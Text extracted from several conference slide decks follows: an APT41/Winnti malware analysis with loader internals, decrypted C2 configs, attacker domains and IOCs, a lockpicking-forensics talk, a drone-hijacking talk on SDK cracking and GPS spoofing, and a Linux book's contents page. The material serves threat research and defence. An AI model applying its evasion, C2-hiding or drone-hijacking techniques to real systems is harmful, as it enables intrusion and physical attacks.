Cloudflare worker ◆ Some new backdoor 17 Timeline for disseminating the Cobalt Strike 2020.7 2020.11 2021.1 2021.3 2021.4 Chacha20 shellcode or loader(Chatloader) appeared to extract Cobalt strike Beacon Use CDN service in Cobalt Strike, especially DNS beacon Use Cloudflare worker to hide real C2 IP Use certificate bypass and dll hollowing technique in Chatloader Use multiple .NET loaders and misuse InstallUtil to load Cobalt Strike 2021.6 Use funnyswitch to load Cobalt Strike and use early bird code injection technique 18 Certificate bypass(MS13-098) セワシ Valid certificate Valid certificate セワシ Shell code 19 Chatloader ◆ Uses chacha20 algorithm to decrypt the payload ◆ Most of the payload is Cobalt Strike, but we have also seen another backdoor ◆ ETW bypass ◆ Dll hollowing offset length data 0x0:0xB 0xC config nonce 0xC:0xF 0x4 config crc32 0x10:0x13 0x4 config_enc_length 0x14:0x14+config_enc _length config_enc_length ciphertext 0x100:0x120 0x20 config key 20 length data 0x4 Header 0x4 Check User is SYSTEM 0x4 Mutex trigger 0x4 Delete Loader trigger 0x4 Patch EtwEventWrite trigger 0x4 Process Hollowing trigger 0x4 Injected Process Name Length(x2) InjectedProcess Name Length(x2) InjectedProcess Name 0x4 Payload in Loader 0x4 Payload Name Length(x2) Payload Name Length(x2) Payload Name 0x4 Payload Size 0x4 Payload FilePointor 0x4 Payload crc32 0xC Payload Nonce length data 0x4 Header 0x4 Check User is SYSTEM 0x4 Mutex trigger 0x4 Delete Loader trigger 0x4 Patch EtwEventWrite trigger 0x4 Payload in Loader 0x4 Payload Name Length(x2) Payload Name Length(x2) Payload Name 0x4 Payload Size 0x4 Payload FilePointor 0x4 Payload crc32 0xC Payload Nonce Header:CB2F29AD Header:8BD6488B 21 Chatloader config example ====== Decrypt Config ====== Config Nonce (12 bytes) = 0xb5 0x5e 0x14 0x8d 0x46 0xe1 0x2e 0x97 0x5d 0x3d 0x75 0xf1 Config Nonce (base64) = tV4UjUbhLpddPXXx Config CRC32 = 0xe 0xdc 0xac 0xad Config CRC32 (base64) = DtysrQ== Ciphertext length = 48 Config Key = 0xa2 0x42 0x99 0x5 0x5f 0x1f 0xc 0x14 0xcb 0xdd 0xb 0x1 0xdf 0xa6 0x4c 0x34 0xf5 0xfd 0x3 0x3c 0xa7 0xf1 0xaf 0x30 0xa0 0xc7 0x5c 0x57 0x35 0x9d 0x41 0xe0 Config Key (base64) = okKZBV8fDBTL3QsB36ZMNPX9Azyn8a8woMdcVzWdQeA= ====== Config ====== Head = 0xad 0x29 0x2f 0xcb Check User is SYSTEM = 0 Mutex trigger = 0 Delete Loader trigger = 0 Patch EtwEventWrite trigger = 1 Payload in Loader = 0 Payload Name Length = 14 Payload Name = Despxs.dll Payload Size = 3f800 Payload FilePointor = 0 Payload CRC32 = 0x40 0xf6 0x8f 0xa7 Payload Nonce (12 bytes) = 0x93 0x49 0x68 0x79 0x6a 0xda 0xb5 0xcf 0xf0 0xf1 0xb3 0x4f 22 Dll Hollowing Signed file Dll hijack libEGL.dll wlbsctrl.dll Find target dll in System32 Kernel32.dll User32.dll aaclient.dll DLL Hollowing: Inject malware payload in aaclinet.dll’s .text section Synchost.exe Create Process Synchost.exe’s Module Read File Load module launcher payload Choose aaclient.dll dll hollowing 23 Dll Hollowing (cont.) https://github.com/forrest-orr/phantom-dll-hollower-poc 24 .NET loader InstallUtil.exe KBDHE475.dll kstvmutil.ax payload 1. System.Configur ation.Install.Inst aller 3.Inject payload via Process Hollowing 2.Read File and decrypt with AES sdiagnhost.exe Payload: cobalt strike or other backdoor: ex: Natwalk Use InstallUtil to bypass application allowlist restrictions. .NET loader(obfuscation by ConfuserEx) 25 .NET loader structure offset data offset 38(h) – 47 md5 hash of offset 48 until end offset 48-53 Sha256 as AES key offset 54-67 MD5 as AES IV offset 68 - end Encrypted payload with AES(ECB) offset data offset 0-3 must be 1F A4 3A AC offset 4-7 the length of the payload offset 8 - end malware payload Version 2.63 offset Data offset 84(h) -93 md5 hash of offset 48 until end offset 94-9f Sha256 as AES key offset a0-ab MD5 as AES IV offset ac - end Encrypted payload with AES(ECB) offset data offset 0-3 must be 0C C0 73 95 offset 4-7 the length of the payload offset 8 - end malware payload Version 17.102 After decryption 26 Funnyswitch loader ◆ Name from ptsecurity*, which will inject .NET backdoor funny.dll in memory ◆ We found new version loader(mcvsocfg.dll) which may target McAfee user ◆ E:\VS2019_Project\while_dll_ms\whilte\x64\Release\macoffe.pdb ◆ Another : E:\\VS2019_Project\\prewhiltedll\\x64\\Release\\prewhiltedll.pdb ◆ We found the new loader inject Cobalt Strike and funny.dll *https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41- backdoors-old-and-new/ Cobaltstrike funnydll 27 Charlotte loader Simple .Net loader Charlotte loader load inject Cobaltstrike check.dll (MD5:8c5a174bbcd93e988bcb8681b542708f) 28 Early bird code injection Loader ◆ Using open source Alaris loader* to use syscalls to run cobalt strike ◆ Load PNG resource as payload and decrypt with RC4 ◆ Using Detour to hook the Freelibrary API of the launcher ◆ Using early bird code injection technique ◆ NtTestAlert ◆ KiUserApcDispatcher *https://github.com/cribdragg3r/Alaris 29 New version loader 30 msdtc.exe oci.dll Get Computername (sha1) as rc4 key to decrypt payload cobalt strike (bind TCP) Fishmaster loader ◆ PDB : C:\Users\test\Desktop\fishmaster\x64\Release\fishmaster.pdb ◆ Some have “Bidenhappyhappyhappy” in strings ◆ Two ways to decrypt payload ◆ Xor with hardcode key, ex:” Bsiq_gsus” or “miat_mg” ◆ Use UUIDShellcode and callback function 31 Fishmaster operation – TAG-22 loader used by GroupCC 32 Signed file Temp.tmp winprint.exe rundll32.exe 2.Create rundll32.exe Process 1.Read File binary Stage_1.shellcode 4.Read File 5.decode cobaltstrike 3.Inject shellcode in rundll32 • winprint.exe first reads a piece of shellcode from the payload file and then opens rundll32.exe, calls RtlCreateUserThread to run the first stage shellcode in rundll32.exe • The first stage shellcode will read the payload file again, use VirtualAlloc to allocate memory in rundll32.exe, and inject the payload and decrypt it, finally, it will call EtwpCreateEtwThread to move the thread to the starting point of the cobalt strike. GroupCC Backdoor Winnti is Coming - Evolution after Prosecution APT41’s Backdoor during 2020-2021 Natwalk APT41 HIGHNOON Funnydll Shadowpad Cobalt strike PlugX Spyder Winnti Linux RAT 34 Funnydll* config <?xml version="1.0" encoding="utf-8"?> <Config Group="redacted" Password="test" StartTime="0" EndTime="24" WeekDays="0,1,2,3,4,5,6"> <TcpConnector address="4iiiessb.wikimedia.vip" port="443" interval="30-60"/> </Config> mcvsocfg.dll Stage_1.shellcode Funny.dll Base64+AES decrypt Js module 35 *https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41- backdoors-old-and-new/ Funnydll ◆ In 2020, the config of funnydll is plaintext, in 2021, the config will decrypt by funny.core.run which using AES and base64 ◆ Command, protocol, and js module are same as 2020* 36 Shadowpad ◆ APT41 used the new builder of shadowpad in 2021, which was mentioned in Ptsecurity’s report* which used new obfuscation method and decryption method for configuration ◆ We think this builder was a shared Tool, because we have also seen Naikon Team use this builder ◆ Md5 of the loader:3520e591065d3174999cc254e6f3dbf5 37 def decrypt_string(src): key = struct.unpack("<H", bytearray(src[0:2]))[0] data_len = struct.unpack("<H", bytearray(src[2:4]))[0] data = src[4:4+data_len] result = "" i=0 while(i < data_len): tmp = key tmp += tmp key = key + (( tmp * 8 ) & 0xFFFFFFFF) + 0x107E666D result += chr(((HIBYTE(key) + BYTE2(key) + BYTE1(key) + LOBYTE(key)) ^ ord(data[i])) & 0xFF) i+=1 return result *https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41- backdoors-old-and-new/ The method to decrypt the string of the configuration Shadowpad config example 38 id = 6/18/2021 11:26:19 AM Messenger = TEST Binary Path = %ALLUSERSPROFILE%\Microsoft\WinLSAM\ Binary Name = LSAM.exe Loader Name = log.dll Payload Name = log.dll.dat Service Name = SystemAssociationManager Service Display Name = System Association Manager Service Description = This service provides support for the device association software. If this service is disabled, devices may be configured with outdated software, and may not work correctly. Registry Key Install = SOFTWARE\Microsoft\Windows\CurrentVersion\Run Registry Value Name = LocalSystemAssociationManager Inject Target 1 = %windir%\system32\svchost.exe Inject Target 2 = %windir%\system32\wininit.exe Inject Target 3 = Inject Target 4 = Supposed to have 4 server Server1 = TCP://1dfpi2d8kx.wikimedia.vip:443 Server2 = Server3 = Server4 = Socket 1 = SOCKS4 Socket 2 = SOCKS4 Socket 3 = SOCKS5 Socket 4 = SOCKS5 DNS 1 = 8.8.8.8 DNS 2 = 8.8.8.8 DNS 3 = 8.8.8.8 DNS 4 = 8.8.8.8 config offset:0x96 Shadowpad Decryption Routine 39 Old Version Shadowpad Decryption Routine New Version 40 Shadowpad Decrypt_A Module Shadowpad Decrypt_B TCP Packet Quicklz Decompress Natwalk ◆ Dropped by chatloader ◆ First seen in the wild in 2021/3, and first seen on VT in 2020/9 ◆ Shellcode based backdoor ◆ It uses register + offset to call the Windows api (also used by crosswalk) ◆ The name is from the unique file path it will look up : “%AllUserProfile%\UTXP\nat\” rbx = 7FEF1431534 41 Natwalk(cont.) ◆ Transport protocol ◆ Raw TCP socket ◆ HTTPS:Post requests to C2 server ◆ gtsid : generated by CryptGenRamdom ◆ gtuvid : generated by CryptGenRamdom and md5 operation ◆ Uses chacha20 md5 to encrypt/decrypt the message to/from C2 server 42 the post request of Natwalk raw TCP Natwalk(cont.) ◆ Crosswalk also uses register + offset to call the Windows api in shellcode ◆ First command code are both 0x64 ◆ But commands are different 43 Natwalk(cont.) command description 0x64 Close sessions 0x5C Update the ChaCha20 key for C2 communication 0x66 Change the current status 0x74 Terminate all threads 0x78 kill process 0x7c Run plug-in 0x82 Enumerate user info 0x8c Send config to C2 0x8E Load additional config 44 Software\Microsoft\Windows\CurrentVersion\Intern et Settings ProxyServer texplorer.exe %AllUsersProfile%\UTXP\nat\ %02X POST Mozilla/5.0 Chrome/72.0.3626.109 Safari/537.36 gtsid: gtuvid: https://msdn.microsoft.com https://www.google.com https://www.twitter.com https://www.facebook.com Unique string in the bottom of Natwalk HIGHNOON(Botdll64) wbemcomn.dll sdhasjk.dll WmiApSrv.exe Dll hijack IAT modify Decrypt payload with DPIAPI/AES Botdll64.dll Packed with UPX in memory HIGHNOON Windivert.dll Windivert.sys User mode Kernel mode Reflective injection (1) packet (2a) Matching packet (2b) non-matching packet (3) re- injected packet 45 HIGHNOON Loader DPAPI version AES version choose the driver determined by the dwMinorVersion 46 “F:\2019\RedEye\Door\Bin\Middle64.pdb” HIGHNOON command ◆ Command is same as the HIGHNOON mentioned by Macnica* in 2018 command description 0 Bind Network Socket 1 Check IP address change and Receive Packet, Console Output 3 Console Output 4 Read //DEV//NULL and Console Output 5 Check IP address change and Receive Packet, Console Output *https://hitcon.org/2018/pacific/downloads/1214-R2/1330-1400.pdf 47 C2 Hiding (Domain Fronting) Winnti is Coming - Evolution after Prosecution CDN service ◆ Https beacon : direct use CDN service to hide real C2 IP ◆ Ex: microgoogle[.]ml ◆ DNS beacon Real C2 IP 49 ns1.hkserch.com No resolution parks their DNS beacon C2 domain on some specific IP, ex: 8.8.8.251, 4.2.2.2 Cloudflare Worker ◆ use Cloudflare Workers as redirector to hide the real C2 domain and IP Real C2 proxy Victim Cloudfare worker cdn.cdnfree.workers.dev 51 Fastly (GroupCC) 52 BeaconType - HTTPS Port - 443 SleepTime - 1000 MaxGetSize - 1398119 Jitter - 10 MaxDNS - Not Found PublicKey_MD5 - 9ee3e0425ade426af0cb07094aa29ebc C2Server - pypi.python.org,/latest/pip-check UserAgent - Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 HttpPostUri - /latest/check … PipeName - Not Found DNS_Idle - Not Found DNS_Sleep - Not Found SSH_Host - Not Found SSH_Port - Not Found SSH_Username - Not Found SSH_Password_Plaintext - Not Found SSH_Password_Pubkey - Not Found SSH_Banner - Host: pypi2-python.org … Watermark - 426352781 … ProcInject_AllocationMethod - VirtualAllocEx bUsesCookies - True HostHeader - Host: pypi2-python.org … pypi2-python.org.global.prod.fastly.net pypi2-python.org Real C2 IP Relation to other operations Winnti is Coming - Evolution after Prosecution Cobalt strike payload Same Xor key: 0x3A Funnyswitch dropper which injected cobalt strike ITW Url Fishmaster operation – TAG-22* Funnyswitch dropper which injected funnydll Connection of APT41 and fishmaster operation New builder of Shadowpad IR case Same PDB string * https://www.recordedfuture.com/chinese-group- tag-22-targets-nepal-philippines-taiwan/ Fishmaster v.s GroupCC Fishmaster operation – BIOPASS RAT* Online.txt c1222.txt Silverlight_ins.exe Htop6K4c.txt BrowserPlugin.exe [Emergency] Work- over Well 105CTC- 01 - PVD 03 Rig on 28 July 2021.com GroupCC BIOPASS RAT Python Script (local online server) *https://www.trendmicro.com/en_us/research/21/g /biopass-rat-new-malware-sniffs-victims-via-live- streaming.html (C1222 module) 55 GroupCC Fishmaster BIOPASS RAT Python Script (local online server) GroupCC Fishmaster BIOPASS RAT Python Script (C1222 module) Fishmaster Used(stolen) certificate ◆ Happytuk Co.,Ltd. ◆ Serial Number : 0E D4 DF 10 33 39 3F F2 AF 41 C5 71 A6 AA 19 D7 ◆ Rhaon Entertainment Inc ◆ Serial Number : 06 80 8C 59 34 DA 03 6A 12 97 A9 36 D7 2E 93 D4 58 GroupCC Used(stolen) certificate ◆ Quickteck.com ◆ Serial Number : 70 D8 96 11 7E 15 30 2C 7E EF EC B2 89 B3 BF E0 ◆ 주식회사 엘리시온랩(Elysion Lab Co., Ltd.) ◆ Serial Number : 03 D4 33 FD C2 46 9E 9F D8 78 C8 0B C0 54 51 47 ◆ ARGOS LABS ◆ Serial Number : 00 F7 B7 5C 60 5B 00 83 95 73 8A AC 06 AB E3 B4 70 ◆ 1.A Connect GmbH ◆ Serial Number : 00 A7 E4 DE D4 BF 94 9D 15 AA 42 01 84 3F 1A B6 4D 59 Fishmaster v.s GroupCC 60 ◆ Shared Tool – Biopass RAT ◆ Similar TTPs ◆ Uses some stolen or revoked certificare ◆ Uses Legitimate installer (like Flash, Silverlight, BrowserPlugin) ◆ Use aliyun as payload sites Amoeba v.s Fishmaster v.s GroupCC 61 ◆ Amoeba v.s. Fishmaster ◆ Two possibilities ◆ Shared C2 ◆ 163.138.137.235 ◆ 93.180.156.77 ◆ Shared customized CoboltStrike ◆ Xor key : 0x3A ◆ Fishmaster v.s. GroupCC ◆ Shared Tool : Biopass RAT ◆ Similar TTPs ◆ Uses some stolen or revoked certificate ◆ Uses Legitimate installer ◆ Use aliyun as payload sites Amoeba Fishmaster GroupCC Other operation cobaltstrike cobaltstrike IR case IR case #Goblin panda *RedFoxtrot Drop PCshare # https://community.riskiq.com/article/56fa1b2f * https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf security_audit_template_final.doc # https://community.riskiq.com/article/56fa1b2f * https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf security_audit_template_final.doc #Goblin panda *RedFoxtrot Drop PCshare Connection to Gobling Panda or Other Chinese APT HW operation(護網行動) ◆ To detect the security issues of key national infrastructure, and to test their event monitoring and ability to quickly coordinate with emergency incident ◆ The target involves many industries, including government, finance, electricity, and business key enterprises in China. ◆ From OSINT, the operation started from 4/8 in 2021 64 南京木百文化传媒有限公司.exe Maybe link to HW operation 66 Cobalt strike loader in IR case which use alaris loader with resource png payload Same loader 南京木百文化传媒有限公司.exe Funnyswitch Same unique shellcode in caculating api hash 调整中移在线服务有限公司 职工五险一金缴纳比例的通 知.exe Cobalt strike loader in IR case which used early bird code injection VPN统一身份证认证 ID.exe 运维安全管理与审计系统 单点登录插件.exe Same Cobalt strike payload header Takeaway ◆ Various kind of cobalt strike loader and some new attack techniques ◆ New backdoor ex: Natwalk ◆ C2 hiding techniques ◆ Relation to other operations 67 IOC 68 ◆ Chatloader 7ee9b79f4b5e19547707cbd960d4292f F5158addf976243ffc19449e74c4bbad 1015fa861318acbbfd405e54620aa5e3 a1d972a6aa398d0230e577227b28e499 ◆ .NET loader bd2d24f0ffa3d38cb5415b0de2f58bb3 ◆ Funnyswitch loader e0a9d82b959222d9665c0b4e57594a75 07a61e3985b22ec859e09fa16fd28b85 d720ac7a6d054f87dbafb03e83bcb97c F85d1c2189e261d8d3f0199bbdda3849 5b2a9a12d0c5d44537637cf04d93bec5 ◆ Early bird code injection loader 4598c75007b3cd766216086415cc4335 Fd6ae1b8713746e3620386a5e6454a8d b028b4f8421361f2485948ca7018a2b0 ◆ Natwalk 1d36404f85d94bea6c976044cb342f24 7c6e75e70d29e77f78ea708e01e19c36 ◆ HIGHNOON loader 407b5200c061123c9bd32e7eea21a57b 5b99fa01c72cebc53a76cc72e9581189 ◆ Funnydll e0a9d82b959222d9665c0b4e57594a75 ◆ Spyder fba77006e8f8f3db6aac86211fa047fb ◆ Shadowpad af7cef9e0e6601cae068b73787e3ae81 IOC 69 symantecupd.com microsoftonlineupdate.dynamic- dns.net www.sinnb.com pip.pythoncdn.com img.hmmvm.com reg.pythoncdn.com bbwebt.com ns1.tkti.me test.tkti.me ns1.microsofts.freeddns.com api.aws3.workers.dev ns1.hkserch.com godaddy1.txwl.pw godaddy2.txwl.pw ns.cdn06.tk update.facebookdocs.com ns1.dns-dropbox.com ns.cloud20.tk ns.cloud01.tk ns1.token.dns05.com sculpture.ns01.info work.cloud20.tk work.cloud01.tk help01.softether.net cloud.api-json.workers.dev update.microsoft-api.workers.dev up.linux-headers.com p.samkdd.com ns1.microsoftskype.ml ns1.hongk.cf ns1.163qq.cf 163qq.cf depth.ddns.info yjij4bpade.nslookup.club ooliviaa.ddns.info mootoorheaad.ns01.info token.dns04.com ns1.watson.misecure.com vt.livehost.live sociomanagement.com ns1.hash-prime.com wntc.livehost.live smtp.biti.ph perfeito.my cdn.cdnfree.workers.dev www.microsofthelp.dns1.us ns1.mssetting.com www.corpsolution.net www.mircoupdate.https443.net publicca.twhinet.workers.dev microgoogle.ml www.google-dev.tk api.gov-tw.workers.dev 103.255.179.54 www.omgod.org 154.223.175.70 687eb876e047.kasprsky.info zk4c9u55.wikimedia.vip 193.38.54.110 api.aws3.workers.dev 4iiiessb.wikimedia.vip 45.32.123.1 158.247.215.150 ntp.windows-time.com trulwkg5c.tg9f6zwkx.icu windowsupdate.microsoft.365filtering.com wustat.windows.365filtering.com ti0wddsnv.wikimedia.vip Reference ◆ [1] https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti- group.pdf ◆ [2] https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41- backdoors-old-and-new/ ◆ [3] https://www.lac.co.jp/lacwatch/report/20210521_002618.html ◆ [4] https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/ ◆ [5] https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass/ ◆ [6] https://hitcon.org/2018/pacific/downloads/1214-R2/1330-1400.pdf ◆ [7] https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live- streaming.html 70 THANK YOU!
pdf
Lockpicking Forensics datagram datagram.layerone@gmail.com Defcon 17, 2009 Agenda  How locks/picks work  Normal wear  Lock Analysis  Key Analysis  Investigative process Destructive entry still #1! How Locks Work How Locks Work How Locks Work How Locks Work Pin Binding Pin Binding Picking a Lock Apply tension Find binding pin Raise to shear line Repeat Picking a Lock Forensic Locksmithing  1976 - Art Paholke, Chicago PD  Locks, Safes, Security (Tobias)  Werkzeugspur (Goth)  Impressioning (Diederichsen)  Determine method of entry  Identify evidence, tool marks, techniques  Provide expert testimony Pins – New Pins – New Key - New Plug - New Pins – 100 uses Pins – 100 uses Plug – 100 uses Key – 100 Uses Pins – 1,500 uses (pin 1) Pins – 1,500 uses (pin 5) Key – 1,500 uses Plug – 1,500 uses Pins - 5,000 uses (pin 1) Pins - 5,000 uses (pin 5) Plug – 5,000 uses Plug – 5,000 uses Plug – 5,000 uses Key - 5,000 uses Forensic Analysis Components (pins, springs, etc) Plug Cylinder Cam/Actuator Keys Bolt Door, window, wall, etc Lockpicking Lockpicking - Pins Lockpicking - Pins Lockpicking - Pins Lockpicking - Pins Lockpicking - Pins Lockpicking - Pins Lockpicking - Pins Lockpicking - Pins Lockpicking - Pins Lockpicking - Pins Lockpicking - Pins Lockpicking - Plug Lockpicking - Plug Lockpicking - Plug Lockpicking - Plug Lockpicking - Plug Lockpicking - Plug Lockpicking - Tension Lockpicking - Tension Lockpicking - Tension Lockpicking - Cam Lockpicking - Cam Lockpicking - Medecoder Pick Guns Pick Guns - Pins Pick Guns - Pins Pick Guns - Cam Pick Guns - Cam Key Bumping Key Bumping Key Bumping - Pins Key Bumping - Pins Key Bumping - Pins Key Bumping - Pins Key Bumping - Pins Key Bumping - Pins Key Bumping - Plug Key Bumping - Face Key Bumping - Face Key Bumping - Plug Impressioning Impressioning - Manipulation Impressioning - Manipulation Impressioning - Plug Impressioning – UV residue Impressioning – UV Residue Decoding  Depends on technique  Covert vs. surreptitious  Decoder “pick”  Manipulation  Visual/Optical  Thermal  Radiological  Disassembly Decoding - Visual Decoding - Visual Bypass Bypass Bypass Key Analysis  Material, keyway, cuts, codes  Original or duplicate  Hand cut or machined  Recent cutting, copying  Material transfer Keys - Plating Keys – Original vs Copied Keys – Original vs Copied Keys – Stylus striae Keys – Hand made Keys – Filed Keys – Filed Keys - Dremel Keys – Cutting Wheels Keys - Comparison Key - Bumping Keys – Bumping Keys – Tool Marks Keys – Tool Marks Keys – Tool Marks Keys – Clay residue Keys – Wax residue Keys – UV Residue Anti-forensics Tools?  Possible!  Difficult to use  Limited durability  Expensive* Safe/Vault Forensics  Drill points  Writing/marking  Magnetic/adhesive  Tool marks Investigative Process  Crime scene investigation  Laboratory examination  Investigative report  Testimony Crime Scene Investigation  Photographs  Sketches  Permission issues  Evidence preservation  Chain of custody  Police vs. Insurance Initial Questions  Purchase/Installation  Per day usage  Security rating(s)  Key/combo distribution  Lock condition − Working? − Repaired? − Replaced? Forensic Examination  Lock specs & data  Lock operation  Lock security rating  Tool marks  Material transfer  Keys  Do your homework! Disassembly  Chamber casings  Use of key(s)  Shimming  Destructive Shimming Forensic Workspaces  Separate!  Clean area  Clean/new tools − Tweezers, followers, shims − Saws − Clay − Hands/etc Cleaning of Components  To clean or not?  Always look first!  Evidence destruction  False evidence creation Cleaning of Components Investigative Report  Findings  Supporting pictures  Mirrored locks* − Picked − Pick gun − Bumped − Impressioned Licensing & Certification  International Association of Investigative Locksmiths (IAIL) Resources http://www.LockpickingForensics.com http://www.LockpickingForensics.com/links.php http://www.LockWiki.com
pdf
Drones Hijacking Aaron Luo Cyber Safety Solution multi-dimensional attack vectors and countermeasures Agenda • Introduce the drone architecture • Vulnerabilities on which component? • Demo • Provide the prevention solution • Release attack/defense tools on GitHub. Today, our target is… DJI-Phantom 3 Advanced DJI Phantom 3A Architecture • Drone – Flight controller •2.4GHz radio module •GPS module •Sensors (compass, Gyroscope, Accelerometer, Barometer…etc.) •Micro-USB Slug (flight simulating program need this to connect) •MicroSD Slug (firmware updated usage and photo storage) – Other Parts(battery, screw propeller, camera, gimbals, pilot lamp) • Remote Controller – 2.4GHz radio module – USB Slug (I/O function with phone’s App) – Micro-USB Slug (firmware update usage) – Other Parts (Joystick, button, lights) • App/SDK – Connect to Remote Control, display drone information (like image of camera, GPS data and Compass) – Operator Drone (drone takeoff, Automatic return) DJI Phantom 3A Architecture • Drone – Flight controller •2.4GHz radio module •GPS module •Sensors (compass, Gyroscope, Accelerometer, Barometer…etc.) •Micro-USB Slug (flight simulating program need this to connect) •MicroSD Slug (firmware updated usage and photo storage) – Other Parts(battery, screw propeller, camera, gimbals, pilot lamp) • Remote Controller – 2.4GHz radio module – USB Slug (I/O function with phone’s App) – Micro-USB Slug (firmware update usage) – Other Parts (Joystick, button, lights) • App/SDK – Connect to Remote Control, display drone information (like image of camera, GPS data and Compass) – Operator Drone (drone takeoff, Automatic return) DJI App/SDK Flow Chart Crack the SDK Authentication Mechanism • Download SDK from DJI website • Find key function with JD-GUI Crack the SDK Authentication Mechanism • Use JBE - Java Bytecode Editor to patch the code Crack the SDK Authentication Mechanism • Check the result with JD-GUI DEMO Connect to Drone by Cracked SDK DEMO Take off/Landing DEMO Fly to specified location How to prevent/improve ? • Protect library file by obfuscator/packer • Use asymmetric encryption to validate the SDK authentication key between App and Drone and Server, not only just validate from App and Server Next section: Firmware Analysis Firmware Analysis • Use the “Binwalk” can extract some data, but it is limited. Firmware Analysis • Use IDA Pro to analyze the incomplete data extracting by the Binwalk • Use String Reference to find the key function Firmware Analysis • Disassemble and writing the parser • Finally we can extract each firmware module with detailed information Firmware Analysis Firmware Analysis • Extract UBI file system from PFC300SFw3.bin Firmware Analysis • extract some interesting things from file system (for example, ssh key data and configuration, /etc/shadow…etc.) How to prevent/improve ? • Encrypt the firmware binary, the encryption key storage on hardware, but still need extra careful about storage place must be safety, and the side channel attack. Next section: Radio Signal Analysis Radio Signal Analysis • How to? • Buy the SDR (software-defined radio) Radio Signal Analysis P3A use two modulation/demodulation to transfer data with 2.4GHz ISM band RC to Drone radio spectrum (FHSS) • Control drone direction (up down left right) • Frequency 2.400~2.483GHz, each channel about 1MHz DSSS - Drone to RC radio spectrum • For drone to remote controller image transmission • Frequency 2.4015~2.4815 GHz • split into 6 channels, each channel is about 10MHz Finally we found… • Images have no checksum mechanism, so we can jamming the radio frequency to show wrong image to controller DEMO How to prevent/improve ? • Validate the image checksum • Transfer the image data by asymmetric encryption (but it need more performance, in this case I think just add the checksum is enough, because reverse the modulation/demodulation are difficult) Next section: GPS Modules GPS Modules • GPS Modules is general way to hijacking the drone • The GPS for commercial protocol (C/A code) is open and not encrypt, so attacker can easily to fake this Which function is associate with GPS? • No-fly zone • Return to home • Follow me • Waypoint How to spoof the GPS location? • There have a good open-source GPS simulator in GitHub, called gps-sdr-sim, but it have some limitation, before you want fake a location, should wait for few minutes to generate the I/Q data • So we improve the code, let it can in real-time generate GPS signal and can be controlled with the joystick. DEMO Control GPS by Joystick DEMO Force landing the drone by no-fly zone DEMO Hijacking Drone by Joystick How to detect the fake GPS signal? • Validate the GPS sub-frame data How to detect the fake GPS signal? • Validate the time between satellite time and real time How to detect the fake GPS signal? • Check the motion speed between point to point • For example it is impossible to change your location from Taiwan to Las vegas in one second Develop the fake GPS detector • Board: RaspberryPI • GPS modules: u-blox DEMO Detect Fake GPS Signal DEMO Catch The Bad Guys Conclusion • Developer should know about the risks of each component. Acknowledge • Trend Micro • All the Cyber Safety Solution partners • All the support of my friends Thank You! If you have any question, please mail to aaronluo17@gmail.com GitHub: Aaron-Luo
pdf
第一章 概论 ..................................................................................................................1 1.1 网络的历史.......................................................................................................1 1.2 OSI 模型...........................................................................................................3 1.3 Internet 体系模型..............................................................................................4 1.4 客户/服务器模型...............................................................................................5 1.4 UNIX 的历史 ...................................................................................................7 1.4.1 Unix 诞生前的故事 .................................................................................7 1.4.2 UNIX 的诞生..........................................................................................8 1.4.3 1979 – UNIX 第七版 ............................................................................. 10 1.4.4 UNIX 仅仅是历史吗?............................................................................. 11 1.5 Linux 的发展.................................................................................................. 11 1.5.1 Linux 的发展历史.................................................................................. 12 1.5.2 什么叫 GNU? ...................................................................................... 12 1.5.3 Linux 的特色 ........................................................................................ 13 1.5.4 硬件需求............................................................................................... 14 1.5.5 Linux 可用的软件 ................................................................................. 14 1.5.6 为什么选择 Linux ?............................................................................ 15 1.6 Linux 和 Unix 的发展.................................................................................... 15 第二章 UNIX/Linux 模型...............................................................................................17 2.1 UNIX/Linux 基本结构.......................................................................................17 2.2 输入和输出......................................................................................................19 2.2.1 UNIX/Linux 文件系统简介......................................................................19 2.2.2 流和标准 I/O 库......................................................................................20 2.3 进程................................................................................................................21 第三章 进程控制 ..........................................................................................................22 3.1 进程的建立与运行...........................................................................................22 3.1.1 进程的概念............................................................................................22 3.1.2 进程的建立............................................................................................22 3.1.3 进程的运行............................................................................................24 3.1.4 数据和文件描述符的继承.......................................................................29 3.2 进程的控制操作...............................................................................................31 3.2.1 进程的终止............................................................................................31 3.2.2 进程的同步............................................................................................32 3.2.3 进程终止的特殊情况..............................................................................33 3.2.4 进程控制的实例.....................................................................................33 3.3 进程的属性......................................................................................................38 3.3.1 进程标识符............................................................................................38 3.3.2 进程的组标识符.....................................................................................39 3.3.3 进程环境................................................................................................40 3.3.4 进程的当前目录.....................................................................................42 3.3.5 进程的有效标识符..................................................................................43 3.3.6 进程的资源............................................................................................44 3.3.7 进程的优先级.........................................................................................45 3.4 守护进程.........................................................................................................46 3.4.1 简介.......................................................................................................46 3.4.2 守护进程的启动............................................................................................46 3.4.3 守护进程的错误输出..............................................................................46 3.4.4 守护进程的建立.....................................................................................48 3.5 本章小结.........................................................................................................49 第四章 进程间通信.......................................................................................................50 4.1 进程间通信的一些基本概念.............................................................................50 4.2 信号................................................................................................................50 4.2.1 信号的处理............................................................................................52 4.2.2 信号与系统调用的关系...........................................................................54 4.2.3 信号的复位............................................................................................55 4.2.4 在进程间发送信号..................................................................................56 4.2.5 系统调用 alarm()和 pause()......................................................................58 4.2.6 系统调用 setjmp()和 longjmp().................................................................62 4.3 管道................................................................................................................63 4.3.1 用 C 来建立、使用管道..........................................................................65 4.3.2 需要注意的问题.....................................................................................72 4.4 有名管道.........................................................................................................72 4.4.1 有名管道的创建.....................................................................................72 4.4.2 有名管道的 I/O 使用...............................................................................73 4.4.3 未提到的关于有名管道的一些注意.........................................................75 4.5 文件和记录锁定...............................................................................................75 4.5.1 实例程序及其说明..................................................................................75 4.5.2 锁定中的几个概念..................................................................................78 4.5.3 